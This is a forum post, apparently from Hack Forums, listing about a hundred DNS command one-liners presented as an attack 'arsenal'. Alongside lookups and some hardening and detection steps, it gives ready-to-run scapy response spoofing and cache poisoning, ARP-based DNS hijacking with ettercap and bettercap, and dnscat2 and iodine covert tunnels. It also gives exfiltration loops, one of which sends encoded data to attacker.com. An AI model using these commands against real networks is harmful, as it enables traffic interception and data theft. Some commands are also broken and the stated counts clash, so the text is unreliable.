

Forum:[Hack Forums](#)

Thread: [100 DNS Hijacking One-liners For Debian 12](#)

Clumsy - July 20, 2026, 1:33 pm

Code # === DNS Hijacking / Binding / Enumeration One-Liners for Debian 12 (Complete Arsenal)

===

=== 400 Total DNS Commands ===

=== Basic DNS Lookup & Query Commands (1-50) ===

1. Basic DNS lookup

dig example.com

2. Reverse DNS lookup

dig -x 8.8.8.8

3. Query specific nameserver

dig @8.8.8.8 example.com

4. Trace DNS resolution path

dig +trace example.com

5. Short answer only

dig +short example.com

6. Query specific record type (MX, TXT, NS, etc.)

dig example.com MX

7. Bulk DNS resolution from file

while read domain; do dig +short \$domain; done < domains.txt

8. DNS zone transfer attempt (AXFR)

dig axfr @ns1.example.com example.com

9. DNS reconnaissance with dnsrecon

dnsrecon -d example.com

10. Subdomain brute-forcing with dnsenum

dnsenum example.com

11. Subdomain brute-forcing with fierce

fierce --domain example.com

12. DNS cache snooping

dig +norecurse example.com @target-dns-server

13. DNS amplification attack test

dig +short @target-dns-server example.com ANY

```
# 14. DNS over HTTPS (DoH) query
curl -H "accept: application/dns-json"
"https://cloudflare-dns.com/dns-query?name=example.com&type=A"

# 15. DNS over TLS (DoT) with kdig
kdig -d @1.1.1.1 +tls-ca +tls-host=cloudflare-dns.com example.com

# 16. DNS over Tor
torsocks dig example.com @8.8.8.8

# 17. DNSSEC validation test
dig +dnssec example.com

# 18. Query EDNS0 client subnet
dig +subnet=192.0.2.0/24 example.com

# 19. DNS response timing analysis
dig +stats example.com

# 20. Capture DNS traffic with tcpdump
sudo tcpdump -i any -n port 53 -w dns.pcap

# 21. Monitor live DNS queries
sudo tcpdump -i any -n port 53 -A

# 22. DNS query counting by domain
sudo tcpdump -i any -n port 53 -l | grep -o "A?.*" | cut -d' ' -f2 | sort | uniq -c

# 23. DNS tunneling detection
tshark -r dns.pcap -Y "dns.qry.name contains \"example.com\" && frame.len > 300"

# 24. Spoof DNS response with scapy
python3 -c "from scapy.all import *; send(IP(dst='victim')/UDP(dport=53)/DNS(id=0xAAAA, qr=1,
aa=1, qd=DNSQR(qname='example.com'), an=DNSRR(rrname='example.com', ttl=10,
rdata='6.6.6.6')))"

# 25. DNS hijack with ettercap
ettercap -T -q -M arp:remote /victim_ip/ /gateway_ip/ -P dns_spoof

# 26. DNS spoof with bettercap
bettercap -eval "set dns.spoof.domains example.com; set dns.spoof.address 6.6.6.6; dns.spoof on"

# 27. Local hosts file hijack
echo "6.6.6.6 example.com" | sudo tee -a /etc/hosts

# 28. DNSMasq configuration for spoofing
echo "address=/example.com/6.6.6.6" | sudo tee -a /etc/dnsmasq.conf && sudo systemctl restart
dnsmasq

# 29. BIND response policy zone (RPZ) for sinkhole
echo 'zone "rpz" { type master; file "/etc/bind/db.rpz"; };' | sudo tee -a /etc/bind/named.conf && sudo
bash -c 'echo "*.example.com IN CNAME sinkhole.local." > /etc/bind/db.rpz' && sudo systemctl
restart bind9
```

30. DNSChef - DNS spoofing proxy
git clone https://github.com/iphelix/dnschef.git && cd dnschef && python3 dnschef.py --fakeip 6.6.6.6 --fakedomains example.com

31. DNS replay attack
sudo tcpreplay --intf1=eth0 dns_response.pcap

32. DNS cache poisoning with scapy (simulation)
python3 -c "from scapy.all import *; send(IP(src='ns.example.com', dst='target')/UDP(sport=53, dport=33333)/DNS(id=0x1234, qr=1, aa=1, qd=DNSQR(qname='example.com'), an=DNSRR(rrname='example.com', ttl=3600, rdata='6.6.6.6')))"

33. DNS fragmentation test
dig +bufsize=4000 +ignor +tc example.com ANY

34. DNS amplification scan
zmap -p 53 -M dns -r 1000 -o results.csv --probe-args=example.com

35. Detect open DNS resolvers
dnsrecon -t std --name server --domain example.com -r 8.8.8.0/24

36. DNS recursive query test
dig +recurse example.com @target-dns

37. DNS non-recursive query test
dig +norecurse example.com @target-dns

38. Test DNSSEC validation with delv
delv example.com

39. DNS cookies test
dig +cookie example.com

40. DNS rate limiting test
for i in {1..1000}; do dig example.com @target-dns +short & done

41. DNS over IPv6
dig AAAA example.com

42. DNS ANY query (deprecated)
dig example.com ANY

43. Query specific DNS server version
dig CH TXT version.bind @target-dns

44. Identify DNS server software
dig CH TXT version.server @target-dns

45. DNS wildcard detection
dig nonexistent.example.com

46. Find DNS zone expiry

```
dig +ttlid example.com SOA
```

```
# 47. DNS notify test
```

```
sudo nsupdate -v << EOF
```

```
server ns.example.com
```

```
zone example.com
```

```
update add test.example.com 60 A 10.0.0.1
```

```
send
```

```
EOF
```

```
# 48. DNS dynamic update
```

```
nsupdate -k Kexample.com.+157+12345.private << EOF
```

```
server ns.example.com
```

```
zone example.com
```

```
update delete old.example.com A
```

```
update add new.example.com 300 A 10.0.0.1
```

```
send
```

```
EOF
```

```
# 49. Create DNS tunnel with iodine (client)
```

```
sudo apt install iodine -y && sudo iodine -f -P password 10.0.0.1 tunnel.example.com
```

```
# 50. Iodine DNS tunnel server
```

```
sudo apt install iodined -y && sudo iodined -f -P password 10.0.0.1 tunnel.example.com
```

```
## === DNS Tunneling & Exfiltration (51-100) ===
```

```
# 51. DNSCat2 server
```

```
git clone https://github.com/iagox86/dnscat2.git && cd dnscat2/server && sudo bundle install &&  
sudo ruby dnscat2.rb
```

```
# 52. DNSCat2 client
```

```
dnscat2 --dns server=example.com --secret=1234567890123456
```

```
# 53. DNS exfiltration via TXT records
```

```
cat secret.txt | xxd -p | while read line; do dig $line.example.com; done
```

```
# 54. DNS exfiltration via subdomains
```

```
for i in $(seq 1 10); do dig "data$i-$(head -c16 /dev/urandom | base64).example.com"; done
```

```
# 55. DNS infiltration listener
```

```
sudo tcpdump -i any -n port 53 -A | grep -Eo "[a-zA-Z0-9+!]{20,}="
```

```
# 56. DNS query entropy calculation
```

```
tshark -r dns.pcap -T fields -e dns.qry.name | sort | uniq | while read name; do echo "$name" |  
python3 -c "import sys,math; data=sys.stdin.read().strip(); if data:  
entropy=-sum([(data.count(c)/len(data))*math.log2(data.count(c)/len(data)) for c in set(data)]);  
print(f'{data}: {entropy:.2f}')"; done
```

```
# 57. Monitor DNS logs
```

```
sudo tail -f /var/log/syslog | grep -E 'named|dnsmasq'
```

```
# 58. DNS query per second statistics
```

```
sudo tcpdump -i any -n port 53 -ttt 2>/dev/null | grep -o "[0-9.]*" | uniq -c
```

```
# 59. DNSTracer - trace DNS propagation  
dnstracer -o example.com
```

```
# 60. DNS resolver benchmarking  
dnssperf -s 8.8.8.8 -d domains.txt -l 10 -Q 1000
```

```
# 61. DNS tunneling via iodine (client)  
sudo apt install iodine -y && iodine -f -P password 10.0.0.1 tunnel.example.com
```

```
# 62. DNS tunneling server setup (iodined)  
sudo apt install iodined -y && sudo iodined -f -P password 10.0.0.1 tunnel.example.com
```

```
# 63. Covert channel via DNS using dnscat2  
sudo apt install ruby -y && git clone https://github.com/iagox86/dnscat2.git && cd dnscat2/server &&  
ruby ./dnscat2.rb
```

```
# 64. DNSCat2 client command  
dnscat --dns server=example.com
```

```
# 65. DNS exfiltration via dig + base64  
echo 'SECRET_DATA' | base64 | while read line; do dig $line.example.com @attacker.com; done
```

```
# 66. DNS log monitor for exfil detection  
tail -f /var/log/syslog | grep 'named'
```

```
# 67. Firejail sandbox DNS spoof lab  
firejail --dns=10.0.0.1 --private
```

```
# 68. DNS-over-HTTPS (DoH) enumeration with doh-proxy  
git clone https://github.com/facebookexperimental/doh-proxy && cd doh-proxy && pip install -r  
requirements.txt && ./doh-client.py -u https://cloudflare-dns.com/dns-query example.com
```

```
# 69. Malicious DNS proxy with mitmproxy DNS mode  
mitmproxy --mode=dns
```

```
# 70. Rebind attack with rebindit  
curl -s https://rebind.it/example.com/127.0.0.1
```

```
# 71. Spoof NS response with scapy  
python3 -c 'from scapy.all import *; send(IP(dst="victim")/UDP(dport=53)/DNS(id=0xAAAA, qr=1,  
aa=1, qd=DNSQR(qname="example.com"), an=DNSRR(rrname="example.com", ttl=10,  
rdata="malicious.com"))))'
```

```
# 72. Detect rogue DNS via netstat  
netstat -tulnp | grep :53
```

```
# 73. Drop DNS egress via iptables  
iptables -A OUTPUT -p udp --dport 53 -j DROP
```

```
# 74. Enable DNS logging in BIND  
sudo bash -c 'echo -e "logging {'
```

```
channel query_logging {
    file \"/var/log/named_querylog.log\";
    severity debug 3;
};
category queries { query_logging; };
};" >> /etc/bind/named.conf.options && sudo systemctl restart bind9'
```

75. DNS forwarder hijack in dnsmasq
echo 'server=/example.com/192.168.1.1' | sudo tee -a /etc/dnsmasq.conf && sudo systemctl restart dnsmasq

76. DNS delay injection PoC
iptables -A OUTPUT -p udp --dport 53 -j TEE --gateway 192.0.2.1 && tc qdisc add dev eth0 root netem delay 500ms

77. Reverse DNS brute with fierce
fierce --domain example.com

78. DNS compression bomb test
echo 'd=example.com; l=256; for i in \$(seq 1 \$l); do d="\$d.\$d"; done; dig \$d'

79. Generate bogus NS records
for i in {1..10}; do echo "ns\$i.example.com. IN NS evil\$i.attacker.com." >> /tmp/fakezone.txt; done

80. Hijack DNS on local network with ettercap
ettercap -T -q -M arp:remote /victim_ip/ /gateway_ip/ -P dns_spoof

81. Analyze DNS traffic for entropy anomalies
capinfos dns_out.pcap | grep Entropy

82. Dynamic update test with nsupdate
printf "server ns.example.com\nzone example.com\nupdate add injected.example.com 60 A 10.10.10.10\nsend\n" | nsupdate

83. Launch DNS spoofer with bettercap
bettercap -eval "set dns.spoof.domains example.com; set dns.spoof.address 10.0.0.1; dns.spoof on"

84. DNS hijack detection via Zeek
git clone https://github.com/zeek/zeek && cd zeek && ./configure && make && sudo make install && zeek -Cr dns_out.pcap dns

85. Sinkhole DNS via RPZ redirection
sudo bash -c 'echo "*.malicious.example.com IN CNAME sinkhole.example.com." > /etc/bind/db.rpz && systemctl restart bind9'

86. Enumerate EDNS0 DNS options
dig +edns=0 +bufsize=4096 example.com

87. Query DNS for TXT records of SPF/DKIM/DMARC
dig +short TXT _dmarc.example.com; dig +short TXT default._domainkey.example.com; dig +short TXT example.com

88. Test recursive DNS with drill
drill -S example.com

89. Audit DNS resolution path with dig +trace
dig +trace +nocomments example.com

90. Capture DNS and export to CSV
sudo tshark -i any -Y "dns" -T fields -e frame.time -e ip.src -e ip.dst -e dns.qry.name -E header=y -E separator=, > dnslog.csv

91. Extract DNS queries from PCAP
ngrep -q -l dns_out.pcap -W byline "^.*example.com"

92. DNS zone file extraction using axfr.py
python3 axfr.py example.com

93. DNS changelog monitor (cron)
(crontab -l ; echo "*/5 * * * * dig example.com A +short > /tmp/dns_now && diff /tmp/dns_last /tmp/dns_now && cp /tmp/dns_now /tmp/dns_last") | crontab -

94. Harden DNS resolver permissions
chown bind:bind /etc/bind/ -R && chmod 750 /etc/bind

95. Detect fake DNS A records
dig example.com A +short | while read ip; do [["\$ip" == 127.* || "\$ip" == 0.0.0.0]] && echo "Fake record: \$ip"; done

96. Validate DNS zone files
named-checkzone example.com /etc/bind/db.example.com

97. Extract domains from DNS PCAP with Zeek-cut
zeek -r dns_out.pcap dns && cat dns.log | zeek-cut query

98. Discover stealth DNS tunnels with Wireshark filter
Apply filter: `dns.qry.name contains "example.com" and frame.len > 300`

99. Enable DNSSEC in BIND
sudo bash -c 'echo "dnssec-validation auto;" >> /etc/bind/named.conf.options && systemctl restart bind9'

100. Test DNS failover resilience
echo -e "nameserver 10.255.255.1\nnameserver 1.1.1.1" | sudo tee /etc/resolv.conf && ping -c1 example.com

Raijin - July 20, 2026, 2:59 pm

There are some interesting commands in there.